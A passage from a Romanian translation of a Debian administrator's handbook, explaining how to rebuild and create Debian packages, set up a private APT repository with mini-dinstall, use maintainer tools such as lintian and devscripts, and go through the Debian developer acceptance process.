poată fi diferențiate de pachetele originale furnizate de Debian. Presupunând că versiunea curentă este

338
2:4.9.5+dfsg-5, putem crea versiunea 2:4.9.5+dfsg-5scoalagenerala1, care indică clar originea
pachet. Acest lucru face ca numărul versiunii pachetului să fie mai mare decât cel furnizat de Debian, astfel
încât pachetul se va instala cu ușurință ca o actualizare a pachetului inițial. O astfel de modificare se
realizează cel mai bine cu comanda (Debian CHangelog) din pachetul devscripts.

$ cd samba-4.9.5+dfsg
$ dch --local scoalagenerala

Ultima comandă invocă un editor de text (sensible-editor — acesta ar trebui să fie editorul tău preferat
dacă este menționat în variabilele de mediu VISUAL sau EDITOR și editorul implicit altfel) pentru a permite
documentarea diferențelor aduse de această reconstrucție. Acest editor ne arată că dch a modificat cu
adevărat fișierul debian/changelog.
Când este necesară o modificare a opțiunilor de construire, modificările trebuie făcute în debian/rules,
care conduce pașii în procesul de construire a pachetelor. În cele mai simple cazuri, liniile referitoare la
configurația inițială (./configure …) sau la construirea efectivă ($(MAKE) … sau make …) sunt ușor de
observat. Dacă aceste comenzi nu sunt numite în mod explicit, acestea sunt probabil un efect secundar al
unei alte comenzi explicite, caz în care vă rugăm să consultați documentația lor pentru a afla mai multe
despre cum să schimbați comportamentul implicit. Cu pachetele care folosesc dh, ar trebui să adăugați o
înlocuire pentru comenzile dh_auto_configure sau dh_auto_build (consultați paginile de manual
respective pentru explicații despre cum să realizează acest lucru).
În funcție de modificările locale ale pachetelor, poate fi necesară și o actualizare în fișierul
debian/control, care conține o descriere a pachetelor generate. În special, acest fișier conține linii
Build-Depends care controlează lista dependențelor care trebuie îndeplinite la momentul construirii
pachetelor. Acestea se referă adesea la versiunile de pachete conținute în distribuția din care provine
pachetul sursă, dar care poate să nu fie disponibile în distribuția folosită pentru reconstruire. Nu există nicio
modalitate automată de a determina dacă o dependență este reală sau specificată doar pentru a garanta că
construirea trebuie încercată doar cu cea mai recentă versiune a unei biblioteci — aceasta este singura
modalitate disponibilă de a forța un autobuilder să utilizați o versiune dată de pachet în timpul construirii,
motiv pentru care întreținătorii Debian folosesc frecvent dependențe de compilare strict editate.
Dacă știți sigur că aceste dependențe de construire sunt prea stricte, ar trebui să vă simțiți liber să le relaxați
local. Citirea fișierelor care documentează modul standard de construire a software-ului — aceste fișiere sunt
adesea numite INSTALL — vă va ajuta să descoperiți dependențele adecvate. În mod ideal, toate
dependențele ar trebui să fie satisfăcătoare din distribuția folosită pentru reconstrucție; dacă nu, un proces
recursiv începe, prin care pachetele menționate în câmpul Build-Depends trebuie să fie “backport-ate“
(luăm piesa din versiunea mai recentă de software sau a componentei software și să o (trans)portăm la
versiunea mai veche a aceluiași software) înainte ca pachetul țintă să poată fi. Este posibil ca unele pachete
să nu aibă nevoie de backporting și pot fi instalate așa cum este în timpul procesului de construire (un
exemplu notabil este debhelper). Rețineți că procesul de backporting poate deveni rapid complex dacă nu
sunteți atent. Prin urmare, rapoartele de protecție ar trebui menținute la un nivel strict, atunci când este
posibil.

SFAT apt-get permite instalarea tuturor pachetelor menționate în câmpurile Build-Depends ale unui pachet
Instalarea Build-Depends sursă disponibil într-o distribuție menționată într-o linie deb-src din fișierul /etc/apt/sources.list.
Aceasta este o problemă simplă de a executa comanda apt-get build-dep source-package.

15.1.3. Începerea reconstruirii

Când s-au aplicat toate modificările necesare surselor, putem începe generarea pachetului binar real (fișierul
.deb). Întregul proces este gestionat de comanda dpkg-buildpackage.

Exemplul 15.1 Reconstruirea unui pachet

$ dpkg-buildpackage -us -uc

[...]

Comanda anterioară poate eșua dacă câmpurile Build-Depends nu au fost actualizate sau dacă pachetele
aferente nu sunt instalate. Într-un astfel de caz, este posibilă anularea acestei verificări trecând opțiunea -d
la dpkg-buildpackage. Cu toate acestea, ignorarea în mod explicit a acestor dependențe prezintă riscul
ca procesul de construire să nu reușească într-o etapă ulterioară. Mai rău, pachetul poate părea construit

339
corect, dar nu funcționează corect: unele programe dezactivează automat unele dintre caracteristicile lor
atunci când o bibliotecă necesară nu este disponibilă la momentul de construire.

INSTRUMENT În esență, procesul de creare a pachetelor este o simplă problemă de a aduna într-o arhivă un set de fișiere
fakeroot existente (sau construite); majoritatea fișierelor vor fi deținute de root din arhivă. Totuși, construirea întregului
pachet sub acest utilizator ar implica riscuri crescute; din fericire, acest lucru poate fi evitat cu comanda
fakeroot. Acest instrument poate fi utilizat pentru a rula un program și a-i da impresia că rulează ca root și
creează fișiere cu proprietăți și permisiuni arbitrare. Când programul creează arhiva care va deveni pachetul
Debian, i se recomandă crearea unei arhive conținând fișiere marcate ca aparținând proprietarilor arbitrari,
inclusiv root. Această configurare este atât de convenabilă încât dpkg-buildpackage folosește fakeroot
în mod implicit atunci când construiți pachete.
Rețineți că programul este păcălit să “creadă” că funcționează ca un cont privilegiat, iar procesul rulează efectiv
pe măsură ce utilizatorul rulează fakeroot program (și fișierele sunt de fapt create cu permisiunile
utilizatorului respectiv). În niciun moment nu primește de fapt privilegii de root de care ar putea abuza.

Mai des, dezvoltatorii Debian folosesc un program de nivel superior, cum ar fi debuild; aceasta rulează ca
de obicei dpkg-buildpackage, dar adaugă și o invocare a unui program care execută multe verificări
pentru validarea pachetului generat împotriva politicii Debian. Acest script curăță de asemenea mediul, astfel
încât variabilele de mediu locale să nu “polueze” construirea pachetelor. Comanda debuild este unul dintre
instrumentele din suita devscripts, care împărtășesc o anumită consistență și configurație pentru a ușura
sarcina întreținătorilor.

O PRIVIRE RAPIDĂ Programul pbuilder (în pachetul numit în mod similar) permite construirea unui pachet Debian într-un mediu
Construirea pachetelor într-un chrooted. Mai întâi creează un director temporar care conține sistemul minim necesar pentru construirea
chrooted environment pachetului (inclusiv pachetele menționate în câmpul Build-Depends). Acest director este apoi utilizat ca director
rădăcină (/), folosind comanda chroot, în timpul procesului de construire.
Acest instrument permite ca procesul de construire să se întâmple într-un mediu care nu este modificat de
manipulările utilizatorilor. Acest lucru permite, de asemenea, detectarea rapidă a dependențelor de construire
lipsă (deoarece construirea nu va reuși decât dacă sunt documentate dependențele adecvate). În cele din urmă,
permite construirea unui pachet pentru o versiune Debian care nu este cea utilizată de sistem în ansamblul său:
mașina poate folosi Stable pentru volumul său de lucru normal și un pbuilder care rulează pe aceeași mașină
poate folosi Unstable pentru compilări de pachete.
schroot permite executarea unei comenzi sau a unui shell de autentificare într-un chrooted environment.

15.2. Construirea primului vostru pachet

15.2.1. Meta-pachete sau pachete false
Pachetele fake și meta-pachetele sunt similare, prin faptul că sunt cochilii goale care există doar pentru
efectele meta-datelor lor asupra stivei de gestionare a pachetelor.
Scopul unui pachet fake este să păcălească dpkg și apt să creadă că un pachet este instalat, chiar dacă
este doar un shell gol. Aceasta permite satisfacerea dependențelor de un pachet atunci când software-ul
corespunzător a fost instalat în afara domeniului de aplicare al sistemului de ambalare. O astfel de metodă
funcționează, dar ar trebui totuși evitată ori de câte ori este posibil, deoarece nu există nicio garanție că
software-ul instalat manual se comportă exact ca pachetul corespunzător și alte pachete dependente de
acesta nu ar funcționa corect.
Pe de altă parte, un meta-pachet există mai ales ca o colecție de dependențe, astfel încât instalarea meta-
pachetului va aduce de fapt un set de alte pachete într-un singur pas.
Ambele tipuri de pachete pot fi create prin comenzile equivs-control și equivs-build (în pachetul
equivs). Comanda equivs-control file creează un fișier de antet al pachetului Debian care trebuie
editat pentru a conține numele pachetului așteptat, numărul versiunii sale, numele întreținătorului,
dependențe și descrierea acesteia. Alte câmpuri fără valoare implicită sunt opționale și pot fi șterse.
Câmpurile Copyright, Changelog, Readme și Extra-Files nu sunt câmpuri standard în pachetele
Debian; ele au sens doar în sfera lui equivs-build și nu vor fi păstrate în anteturile pachetului generat.

Exemplul 15.2 Fișierul antet libxml-libxml-perl al pachetului fake

Section: perl
Priority: optional
Standards-Version: 4.4.1

340
Package: libxml-libxml-perl
Version: 2.0134-1
Maintainer: Cristi Rusu <cristirusu@academixproject.com>
Depends: libxml2 (>= 2.7.4)
Architecture: all
Description: Fake package - module manually installed în site_perl
This is a fake package to let the packaging system
believe that this Debian package is installed.
.
In fact, the package is not installed since a newer version
of the module has been manually compiled & installed in the
site_perl directory.

Următorul pas este generarea pachetului Debian cu comanda equivs-build file. Și iată!: pachetul este
creat în directorul curent și poate fi gestionat ca orice alt pachet Debian.

15.2.2. Arhiva simplă de fișiere

Administratorul Școlii Generale trebuie să creeze un pachet Debian pentru a ușura implementarea unui set de
documente pe un număr mare de mașini. Administratorul însărcinat cu această sarcină citește mai întâi
“Ghidul noului întreținător”, apoi începe să lucreze la primul lui pachet.
➨ https://www.debian.org/doc/manuals/maint-guide/
Primul pas este crearea unui director scoalagenerala-data-1.0 pentru a conține pachetul sursă țintă.
Pachetul, logic, va fi numit scoalagenerala-data și va purta numărul de versiune 1.0. Administratorul
plasează apoi fișierele document într-un subdirector data. Apoi invocă dh_make (din pachetul dh-make)
pentru a adăuga fișiere necesare procesului de generare a pachetelor, care vor fi stocate toate într-un
subdirector debian:

$ cd scoalagenerala-data-1.0
$ dh_make --native

Type of package: single binary, indep binary, multiple binary, library, kernel module
⮩, kernel patch?
[s/i/m/l/k/n] i

Maintainer name : Cristi Rusu

Email-Address : cristirusu@academixproject.com
Date : Fri, 04 Sep 2020 12:09:39 -0400
Package Name : scoalagenerala-data
Version : 1.0
License : gpl3
Type of Package : Independent
Hit <enter> to confirm:
Currently there is no top level Makefile. This may require additional tuning.
Done. Please edit the files in the debian/ subdirectory now. You should also
check that the scoalagenerala-data Makefiles install into $DESTDIR and not in / .

Tipul de pachet selectat (indep) indică faptul că acest pachet sursă va genera un singur pachet binar care
poate fi distribuit în toate arhitecturile (Architecture: all). single acționează ca echivalent și duce la un
singur pachet binar care depinde de arhitectura țintă (Architecture: any). În acest caz, fosta alegere
este mai relevantă, deoarece pachetul conține doar documente și nu programe binare, astfel încât poate fi
utilizat în mod similar pe calculatoarele de toate arhitecturile.
Tipul ibrary corespunde unui pachet sursă care duce la mai multe pachete binare. Cazul particular, library,
este util pentru bibliotecile partajate, deoarece acestea trebuie să respecte regulile stricte de împachetare.

SFAT Majoritatea programelor implicate în întreținerea pachetului vor căuta numele și adresa dvs. de e-mail în
Numele întreținătorului și variabilele de mediu DEBFULLNAME și DEBEMAIL sau EMAIL. Definindu-le pe acestea o dată pentru
adresa de e-mail totdeauna, nu va mai să trebuie să le tastați de mai multe ori. Dacă shell-ul dvs. obișnuit este bash, este simplu
să adăugați următoarele două linii în fișierul dvs. ~/.bashrc (în mod evident veți înlocui valorile cu altele mai
relevante!):
export EMAIL=”cristirusu@academixproject.com”
export DEBFULLNAME=”Cristi Rusu”

Comanda dh_make a creat un subdirector debian cu multe fișiere. Unele sunt necesare, în special :

341
rules, control, changelog și copyright. Fișierele cu extensia .ex sunt exemple de fișiere care pot fi
utilizate modificându-le (și eliminând extensia) atunci când este cazul. Când nu sunt necesare, se
recomandă îndepărtarea lor. Fișierul compat ar trebui păstrat, deoarece este necesar pentru funcționarea
corectă a suitei de programe debhelper (toate începând cu dh_prefix) utilizat în diferite etape ale procesului
de construire a pachetelor.
Fișierul copyright trebuie să conțină informații despre autorii documentelor incluse în pachet și licența
aferentă. În cazul nostru, acestea sunt documente interne, iar utilizarea lor este limitată în cadrul Școlii
Generale. Fișierul implicit changelog este în general adecvat; înlocuirea “Initial release” cu o explicație mai
vebală și schimbarea distribuției de la unstable la internal este suficientă. Fișierul control a fost, de
asemenea, actualizat: câmpul Section a fost schimbat în misc și câmpurile Homepage, Vcs-Git și Vcs-
browser au fost eliminate. Câmpurile Depends au fost completate cu firefox-esr | www-browser
pentru a asigura disponibilitatea unui web browser capabil să afișeze documentele din pachet.

Exemplul 15.3 Fișierul control

Source: scoalagenerala-data
Section: misc
Priority: optional
Maintainer: Cristi Rusu <crisitrusu@academixproject.com>
Build-Depends: debhelper (>= 9)
Standards-Version: 4.4.1

Package: scoalagenerala-data
Architecture: all
Depends: firefox-esr | www-browser, ${misc:Depends}
Description: Internal Școala Generala Documentation
This package provides several documents describing the internal
structure at Școala Generala. This includes:
- organization diagram
- contacts for each department.
.
These documents MUST NOT leave the company.
Their use is INTERNAL ONLY.

Exemplul 15.4 Fișierul changelog

scoalagenerala-data (1.0) internal; urgency=low

* Initial Release.
* Let's start with few documents:
- internal company structure;
- contacts for each department.

-- Cristi Rusu <cristirusu@academixproject.com> Fri, 04 Sep 2020 12:09:39 -0400

Exemplul 15.5 Fișierul copyright

Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
Upstream-Name: scoalagenerala-data

Files: *
Copyright: 2009-2020 Școala Generala
License:
All rights reserved.

NOȚIUNI DE BAZĂ Un fișier Makefile este un script folosit de programul make; descrie reguli pentru a construi un set de fișiere
Fișierul Makefile din fiecare din celelalte într-un arbore de dependențe (de exemplu, un program poate fi construit dintr-un set de
fișiere sursă). Fișierul Makefile descrie aceste reguli în următorul format:
target: source1 source2 ...
command1
command2
Interpretarea unei astfel de reguli este următoarea: dacă unul dintre fișierele source* este mai recent decât
fișierul target, atunci trebuie să fie generată folosind command1 și command2.
Rețineți că liniile de comandă trebuie să înceapă cu un caracter tab; De asemenea, rețineți că atunci când o linie
de comandă începe cu un caracter liniuță (-), eșecul comenzii nu întrerupe întregul proces.

Fișierul rules conține de obicei un set de reguli utilizate pentru a configura, construi și instala software-ul
într-un subdirector dedicat (numit după pachetul binar generat). Conținutul acestui subdirector este apoi

342
arhivat în pachetul Debian ca și cum ar fi rădăcina sistemului de fișiere. În cazul nostru, fișierele vor fi
instalate în subdirectorul debian/scoalagenerala-data/usr/share/scoalagenerala-data/ astfel
încât instalarea pachetului generat va implementa fișierele sub /usr/share/scoalagenerala-data/.
Fișierul rules este folosit ca Makefile, cu câteva ținte standard (inclusiv clean și binar, utilizate respectiv
pentru a curăța directorul sursă și a genera pachetul binar).
Deși acest fișier este inima procesului, acesta conține doar baza minimă pentru a rula un set standard de
comenzi furnizate de instrumentul debhelper. Acesta este cazul fișierelor generate de dh_make. Pentru a
instala fișierele noastre, configurăm pur și simplu comportamentul comenzii dh_install prin crearea
următorului fișier debian/scoalagenerala-data.install:

data/* usr/share/scoalagenerala-data/

În acest moment, pachetul poate fi creat. Vom adăuga totuși o nuanță. Întrucât administratorii doresc ca
documentele să fie ușor accesate din meniurile mediilor desktop grafice, adăugăm un fișier
scoalagenerala-data.desktop și îl instalăm în /usr/share/applications adăugând o a doua linie
la debian/scoalagenerala-data.install.

Exemplul 15.6 Fișierul scoalagenerala-data.desktop

[Desktop Entry]
Name=Internal Școala Generala Documentation
Comment=Starts a browser to read the documentation
Exec=x-www-browser /usr/share/scoalagenerala-data/index.html
Terminal=false
Type=Application
Categories=Documentation;

Fișierul actualizat debian/scoalagenerala-data.install arată astfel:

data/* usr/share/scoalagenerala-data/
scoalagenerala-data.desktop usr/share/applications/

Pachetul nostru sursă este acum gata. Tot ce ne rămâne de făcut este să generam pachetul binar, cu
aceeași metodă pe care am folosit-o anterior pentru reconstruirea pachetelor: rulăm comanda dpkg-
buildpackage -us -uc din interiorul directorului scoalagenerala-data-1.0.

15.3. Crearea unui depozit de pachete pentru APT

Școala Generală a început treptat să mențină o serie de pachete Debian fie modificate local din pachetele
existente, fie create de la zero, pentru a distribui date și programe interne.
Pentru a ușura implementarea, se dorește integrarea acestor pachete într-o arhivă de pachete care poate fi
folosită direct de APT. Din motive evidente de întreținere, administratorul dorește să separe pachetele
interne de pachetele reconstruite local. Scopul este ca intrările potrivite într-un fișier
/etc/apt/sources.list.d/scoalagenerala.list să fie următoarele:

deb http://packages.scoalagenerala.com/ updates/

deb http://packages.scoalagenerala.com/ internal/

Pentru aceasta, administratorul configurează o gazdă virtuală pe HTTP server-ul lor intern, cu
/srv/vhosts/packages/ ca rădăcină a spațiului web asociat. Gestionarea arhivei în sine este delegată
comenzii mini-dinstall (în pachetul numit în mod similar). Acest instrument urmărește un director
incoming/ (în cazul nostru /srv/vhosts/packages/mini-dinstall/incoming/) și așteaptă noi
pachete acolo; când este încărcat un pachet, acesta este instalat într-o arhivă Debian la
/srv/vhosts/packages/. Comanda mini-dinstall citește fișierul creat *.changes atunci când este
generat pachetul Debian. Aceste fișiere conțin o listă cu toate celelalte fișiere asociate cu versiunea
pachetului (*.deb, *.dsc, *.diff.gz/*.debian.tar.gz, *.orig.tar.gz sau echivalențele lor cu
alte instrumente de compresie), iar acestea permit mini-dinstall să știe ce fișiere să instalați. Fișierele
*.changes conțin și numele distribuției țintă (adesea unstable) menționată în ultima intrare
debian/changelog și mini-dinstall folosește aceste informații pentru a decide unde trebuie instalat
pachetul. Acesta este motivul pentru care administratorii trebuie să schimbe întotdeauna acest câmp înainte

343
de a construi un pachet și să-l stabilească pe internal sau updates în funcție de locația vizată. Atunci
mini-dinstall generează apoi fișierele solicitate de APT, cum ar fi Packages.gz.

ALTERNATIVĂ Dacă mini-dinstall pare prea complex pentru nevoile arhivei dvs. Debian, puteți utiliza și comanda apt-
apt-ftparchive ftparchive. Acest instrument scanează conținutul unui director și afișează (la ieșirea sa standard) un fișier
Packages cu care se potrivește. În cazul Școala Generala, administratorii au putut încărca pachetele direct în
/srv/vhosts/packages/updates/ sau /srv/vhosts/packages/internal/ apoi să execute
următoarele comenzi pentru a crea fișierele Packages.gz:
$ cd /srv/vhosts/packages
$ apt-ftparchive packages updates >updates/Packages
$ gzip updates/Packages
$ apt-ftparchive packages internal >internal/Packages
$ gzip internal/Packages
Comanda apt-ftparchive sources permite crearea fișierelor Sources.gz în mod similar.
reprepro este un instrument mai avansat în același scop. Poate produce, gestiona și sincroniza un depozit
local de pachete. Stochează pachete și sume de verificare într-un fișier bază de date Berkeley DB, deci nu este
nevoie de niciun server de baze de date. Cu reprepro puteți verifica semnăturile depozitelor în oglindă și
puteți crea semnături ale indicilor de pachet generați.

Pentru configurarea mini-dinstall e nevoie de configurarea unui fișier ~/.mini-dinstall.conf; în

cazul Școlii Generale, conținutul este următorul:

[DEFAULT]
archive_style = flat
archivedir = /srv/vhosts/packages

verify_sigs = 0
mail_to = admin@scoalagenerala.com

generate_release = 1
release_origin = Școala Generala
release_codename = stable

[updates]
release_label = Recompiled Debian Packages

[internal]
release_label = Internal Packages

Merită observată generarea fișierelor Release pentru fiecare arhivă. Acest lucru poate ajuta la gestionarea
priorităților de instalare a pachetelor folosind fișierul de configurare /etc/apt/preferences (vedeți
secțiunea 6.2.5. “Gestionarea priorității pachetelor” pagina 106 pentru detalii).

SECURITATE Deoarece mini-dinstall a fost proiectat să funcționeze ca un utilizator obișnuit, nu este necesar să-l
mini-dinstall și executați ca root. Cel mai simplu mod este să configurați totul în contul de utilizator aparținând
permisiunile administratorului responsabil de crearea pachetelor Debian. Întrucât numai acest administrator are permisiunile
necesare pentru a pune fișiere în directorul incoming/, putem deduce că administratorul a autentificat originea
fiecărui pachet înainte de implementare și mini-dinstall nu trebuie să o facă din nou. Acest lucru explică
parametrul verify_sigs = 0 (ceea ce înseamnă că semnăturile nu trebuie verificate). Cu toate acestea, în
cazul în care conținutul pachetelor este sensibil, putem inversa setarea și putem alege să autentificăm cu un
breloc care conține cheile publice ale persoanelor autorizate să creeze pachete (configurate cu parametrul
extra_keyrings parameter); mini-dinstall va verifica apoi originea fiecărui pachet de intrare,
analizând semnătura integrată fișierului *.changes.

Invocarea mini-dinstall de fapt pornește un daemon în fundal. Atâta timp cât acest daemon rulează, se
vor verifica noi pachete din directorul incoming/ la fiecare jumătate de oră; la sosirea unui nou pachet,
acesta va fi mutat în arhivă și vor fi regenerate fișierele corespunzătoare Packages.gz și Sources.gz.
Dacă rularea unui daemon este o problemă, mini-dinstall poate fi invocat și manual în modul batch (cu
opțiunea -b) de fiecare dată când un pachet este încărcat în directorul incoming/. Alte posibilități oferite
de mini-dinstall sunt documentate în pagina sa de manual mini-dinstall(1).

EXTRA Suita APT verifică un lanț de semnături criptografice pe pachetele pe care le gestionează înainte de instalarea lor,
Generarea unei arhive semnate pentru a se asigura de autenticitatea lor (vedeți secțiunea 6.6. “Verificarea autenticității pachetului” pagina 113).
Arhivele APT private pot fi atunci o problemă, deoarece mașinile care le folosesc vor păstra avertismente despre
pachete nesemnate. Prin urmare, un administrator grijuliu va integra arhivele private cu mecanismul secure APT.

344
 Pentru a ajuta acest proces, mini-dinstall include o opțiune de configurare release_signscript care
permite specificarea unui script pe care să-l folosească pentru generarea semnăturii. Un bun punct de plecare
este scriptul sign-release.sh furnizat de pachetul mini-dinstall în /usr/share/doc/mini-
dinstall/examples/ ; modificările locale pot fi relevante.

15.4. Aptitudinile unui întreținător de pachete

15.4.1. Studiul creării pachetelor
Crearea unui pachet Debian de calitate nu este întotdeauna o sarcină simplă, iar a deveni un întreținător de
pachete are nevoie de învățare, atât în teorie cât și în practică. Nu este o simplă problemă de a construi și
instala software; mai degrabă, cea mai mare parte a complexității vine din înțelegerea problemelor și
conflictelor și, în general, a interacțiunilor cu numeroase alte pachete disponibile.

15.4.1.1. Reguli
Un pachet Debian trebuie să respecte regulile precise elaborate în politica Debian și fiecare întreținător de
pachete trebuie să le cunoască. Nu este nevoie de memorare, ci mai degrabă de a știm că există și că
putem apela la ele ori de câte ori o alegere mai deosebită o cere. Fiecare întreținător Debian a greșit neștiind
o regulă, dar aceasta nu este o problemă uriașă, atâta timp cât eroarea este rezolvată atunci când un
utilizator o semnalează ca un raport de erori (care tinde să se întâmple cât de curând datorită utilizatorilor
avansați). câmpul Standard-Version din debian/control specifică versiunea politicii Debian cu care
se conformează un pachet. Întreținătorii trebuie să respecte cea mai recentă versiune a politicii Debian.
➨ https://www.debian.org/doc/debian-policy/

15.4.1.2. Proceduri
Debian nu este o simplă colecție de pachete individuale. Lucrările de împachetare ale fiecăruia fac parte
dintr-un proiect colectiv; a fi dezvoltator Debian implică cunoașterea modului în care proiectul Debian
funcționează în ansamblu. Fiecare dezvoltator va interacționa, mai devreme sau mai târziu, cu ceilalți. Ghidul
dezvoltatorului Debian (în pachetul developers-reference) rezumă ce trebuie să știe fiecare dezvoltator pentru a
interacționa cât mai bine cu diferitele echipe din proiect și pentru a profita de avantajele posibile ale
resurselor disponibile. Acest document enumeră, de asemenea, o serie de îndatoriri pe care un dezvoltator
trebuie să le îndeplinească.
➨ https://www.debian.org/doc/manuals/developers-reference/

15.4.1.3. Instrumente
Multe instrumente ajută îi pe întreținătorii pachetelor în activitatea lor. Această secțiune le descrie rapid, dar
nu oferă detalii complete, deoarece toate au o documentare completă.

15.4.1.3.1. Programul lintian

Acest instrument este unul dintre cele mai importante: este verificatorul de pachete Debian. Se bazează pe o
gamă largă de teste create din politica Debian și detectează rapid și automat multe erori care pot fi apoi
rezolvate înainte de lansarea pachetelor.
Acest instrument este doar un ajutor și uneori se înșală (de exemplu, deoarece politica Debian se schimbă
în timp, lintian este uneori învechit). De asemenea, nu este exhaustiv: faptul că nu primiți nicio eroare
Lintian nu trebuie interpretat ca o dovadă că pachetul este perfect; cel mult, evită cele mai frecvente erori.

15.4.1.3.2. Programul piuparts

Acesta este un alt instrument important: automatizează instalarea, actualizarea, eliminarea și purjarea unui
pachet (într-un mediu izolat) și verifică astfel ca niciuna dintre aceste operațiuni să nu ducă la o eroare.
Poate ajuta la detectarea dependențelor lipsă și detectează când, incorect, fișierele au rămas după ce
pachetul a fost șters.

345
15.4.1.3.3. devscripts
Pachetul devscripts conține multe programe care ajută cu o gamă largă munca unui dezvoltator Debian:
• debuild permite generarea unui pachet (cu dpkg-buildpackage) și rularea lintian pentru
verificarea conformității acesteia cu politica Debian, ulterior.
• debclean curăță un pachet sursă după ce un pachet binar a fost generat.
• dch permite editarea rapidă și simplă a unui fișier debian/changelog într-un pachet sursă.
• uscan verifică dacă o nouă versiune a unui software a fost lansată de upstream author; acest lucru
cere un fișier debian/watch cu o descriere a locației acestor versiuni.
• debi permite instalarea (cu dpkg -i) a pachetului Debian care tocmai a fost generat, fără a fi
necesar să se scrie numele complet și calea.
• Într-o manieră asemănătoare, debc permite scanarea conținutului pachetului generat recent (cu
dpkg -c), fără a fi necesar să introduceți numele complet și calea.
• bts controlează sistemul de urmărire a erorilor din linia de comandă; acest program generează
automat e-mail-urile corespunzătoare.
• debrelease încarcă un pachet generat recent pe un server la distanță, fără a fi nevoie să tastați
numele complet și calea fișierului .changes aferent.
• debsign semnează fișierele *.dsc și *.changes.
• uupdate automatizează crearea unei noi revizii a unui pachet atunci când a fost lansată o nouă
upstream versin.

15.4.1.3.4. debhelper și dh-make

Debhelper este un set de scripturi care ușurează crearea de pachete care respectă politica; aceste scripturi
sunt invocate din debian/rules. Debhelper a fost adoptat pe scară largă în cadrul Debian, fapt dovedit de
faptul că este utilizat de majoritatea pachetelor oficiale Debian. Toate comenzile pe care le conține au un
dh_prefix.
Scriptul dh_make (în pachetul dh-make) creează fișiere necesare pentru generarea unui pachet Debian într-
un director care conține inițial sursele pentru o piesă de software. După cum se poate ghici din numele
programului, fișierele generate utilizează debhelper în mod implicit.

15.4.1.3.5. autopkgtest
autopkgtest rulează teste pe pachete binare, utilizând testele furnizate în pachetul sursă.

15.4.1.3.6. reprotest
reprotest construiește același cod sursă de două ori în medii diferite și apoi verifică diferențele binare
produse de fiecare compilare. Dacă se găsește vreunul, atunci diffoscop (dacă nu este disponibil, diff)
este utilizat pentru a le afișa în detaliu pentru o analiză ulterioară.

15.4.1.3.7. dupload și dput

Comenzile dupload și dput permit încărcarea unui pachet Debian pe un server (posibil de la distanță).
Acest lucru permite dezvoltatorilor să își publice pachetul pe principalul Debian server (ftp-
master.debian.org), astfel încât să poată fi integrat în arhivă și distribuit de oglinzi. Aceste comenzi iau
un parametru *.changes și deduc celelalte fișiere relevante din conținutul său.

15.4.2. Procesul de acceptare

A deveni “dezvoltator Debian” nu este o simplă problemă administrativă. Procesul cuprinde mai mulți pași și
reprezintă la fel de mult o inițiere, precum și un proces de selecție. În orice caz, acesta este oficializat și bine
documentat, astfel încât oricine își poate urmări evoluția pe site-ul dedicat procesului membru nou.
➨ https://nm.debian.org/

346
 EXTRA “Întreținătorul Debian” este un alt statut care oferă mai puține privilegii decât celui de “dezvoltator Debian”, dar
Procesul ușor pentru al cărui proces asociat este mai rapid. Cu acest statut, contributorii își pot menține doar pachetele proprii. Un
“Întreținătorii Debian” dezvoltator Debian trebuie doar să efectueze o verificare la o încărcare inițială și să emită o declarație în sensul
că are încredere în întreținătorul potențial, cu capacitatea de a menține pachetul pe cont propriu.

15.4.2.1. Cerințe preliminare

Toți candidații trebuie să aibă cel puțin cunoștințe și exercițiu de limbă engleză. Acest lucru este necesar la
toate nivelurile: pentru comunicările inițiale cu examinatorul, desigur dar și mai târziu, deoarece engleza este
limba preferată pentru cea mai mare parte a documentației; de asemenea, utilizatorii de pachete vor
comunica în engleză atunci când raportează erori și vor aștepta răspunsuri în limba engleză.
Celelalte condiții preliminare se referă la motivație. A deveni dezvoltator Debian este un proces care are
sens doar dacă pretendentul știe că interesul lor pentru Debian va dura mult timp de acum încolo. Procesul
de acceptare în sine poate dura câteva luni, iar Debian are nevoie de dezvoltatori pentru o perioadă lungă de
timp; fiecare pachet are nevoie de întreținere permanentă și nu doar de încărcare inițială.

15.4.2.2. Înregistrarea
Primul pas (real) constă în găsirea unui sponsor sau pledant, susținător; aceasta înseamnă un dezvoltator
oficial dispus să considere că acceptarea lui X ar fi un lucru bun pentru Debian. Acest lucru implică, de
obicei, că pretendentul a fost deja activ în cadrul comunității și că munca lui a fost apreciată. Dacă candidatul
este timid și nu și expune public munca, el poate încerca să convingă un dezvoltator Debian să-i pledeze
cauza, arătându-și activitatea în privat.
În același timp, candidatul trebuie să genereze o pereche de chei RSA publice/private cu GnuPG, care ar
trebui semnată de cel puțin doi dezvoltatori oficiali Debian. Semnătura autentifică numele din cheie. Efectiv,
în timpul unui eveniment de semnare a cheii, fiecare participant trebuie să arate o identificare oficială (de
obicei carte de identitate sau pașaport) împreună cu identificatorii cheie ai acestora. Acest pas confirmă
legătura dintre om și chei. Această semnătură necesită astfel întâlnirea în viața reală. Dacă nu ați întâlnit
încă niciun dezvoltator Debian într-o conferință publică de software liber, cu siguranță puteți căuta dezvoltatori
care locuiesc în apropiere utilizând lista de pe următoarea pagină web ca punct de plecare.
➨ https://wiki.debian.org/Keysigning
După ce înregistrarea pe nm.debian.org a fost validată de avocat, candidatul este atribuit unui Application
Manager. Gestionarul va conduce procesul prin mai multe etape și verificări predefinite.
Prima verificare este un control al identității. Dacă aveți deja o cheie semnată de doi dezvoltatori Debian,
acest pas este ușor; în caz contrar, managerul de aplicații va încerca să vă ghideze în căutarea de
dezvoltatorii Debian apropiați pentru a organiza o întâlnire și o semnătură cu cheie.

15.4.2.3. Acceptarea principiilor

Aceste formalități administrative sunt urmate de considerente filozofice. Ideea este să vă asigurați că
pretendentul înțelege și acceptă contractul social și principiile Free Software. Alăturarea la Debian este
posibilă numai dacă împărtășiți valorile care unesc dezvoltatorii actuali, așa cum sunt exprimate în textele
fondatoare (și rezumate în capitolul 1.2. “Ce este Debian?” pagina 21).
În plus, fiecare candidat care dorește să se alăture rândurilor Debian este de așteptat să cunoască
funcționarea proiectului și cum să interacționeze corespunzător pentru a rezolva problemele pe care le va
întâmpina fără îndoială pe măsura trecerii timpului. Toate aceste informații sunt în general documentate în
manuale care vizează noii întreținători și în ghidul dezvoltatorului Debian. O lectură atentă a acestui
document ar trebui să fie suficientă pentru a răspunde la întrebările examinatorului. Dacă răspunsurile nu
sunt satisfăcătoare, candidatul va fi informat. Atunci va trebui să citească (din nou) documentația relevantă
înainte de o nouă încercare. În cazurile în care documentația existentă nu conține răspunsul corespunzător
la întrebare, de obicei candidatul poate ajunge la un răspuns cu o anumită experiență practică în Debian,
eventual discutând cu alți dezvoltatori Debian. Acest mecanism dă asigurarea de implicare într-un fel a
